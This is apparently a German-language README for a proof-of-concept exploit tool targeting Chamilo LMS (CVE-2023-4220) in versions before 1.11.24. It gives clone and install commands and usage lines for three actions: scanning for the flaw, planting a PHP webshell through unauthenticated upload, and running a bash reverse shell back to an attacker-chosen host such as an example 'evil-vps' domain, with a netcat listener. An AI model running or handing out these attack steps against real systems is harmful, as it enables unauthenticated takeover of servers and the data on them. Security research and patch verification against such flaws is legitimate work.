
Dieses Python-Skript ermöglicht die Ausnutzung der Sicherheitslücke von Chamilo LMS, die als CVE-2023-4220 beschrieben ist.
Dies ist ein in Python geschriebenes Skript, das die Ausnutzung der in CVE-2023-4220 beschriebenen Sicherheitslücke der Chamilo LMS-Software ermöglicht. Das System ist in Versionen vor 1.11.24 verwundbar.
Klonen Sie das Repository auf Ihren Rechner und installieren Sie die Abhängigkeiten mit pip (es wird empfohlen, virtualenv zu verwenden, um eine Umgebung zu erstellen, die diese Installationen von globalen Installationen trennt)
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
pip install -r requirements.txt
Das Skript benötigt die Ziel-URL mit dem Chamilo-Root-Pfad (z. B. http://example.com/chamilo, http://example.com oder http://chamilo.example.com) und eine Aktion, die ausgeführt werden soll (es stehen drei zur Verfügung: scan, webshell und revshell).
Diese Aktion prüft, ob das Ziel verwundbar ist, indem versucht wird, auf den Endpunkt zuzugreifen.
python3 main.py -u http://example.com/chamilo -a scan

Diese Aktion erstellt eine PHP-Webshell-Datei im verwundbaren Endpunkt.
python3 main.py -u http://example.com/chamilo -a webshell

Diese Aktion erstellt und führt eine Bash-Reverse-Shell-Datei aus. Dazu wird zunächst mit der gleichen Methode wie bei der vorherigen Aktion eine Webshell erstellt. Danach werden einige Befehle ausgeführt, um die Bash-Datei zu erstellen und auszuführen. Stellen Sie sicher, dass Sie auf dem von Ihnen definierten Port mit nc oder einem anderen Dienstprogramm lauschen, damit Sie die Reverse-Verbindung tatsächlich erhalten. Der Host kann eine gültige interne/öffentliche IPv4 (wie 172.17.1.4 oder 186.227.4.31) oder die von Ihnen registrierte Domain (wie evil-vps.domainreg.net) sein.
python3 main.py -u http://example.com/chamilo -a revshell

Hinweis: Bald werde ich eine Windows-Payload-Option für Windows-Hosts hinzufügen.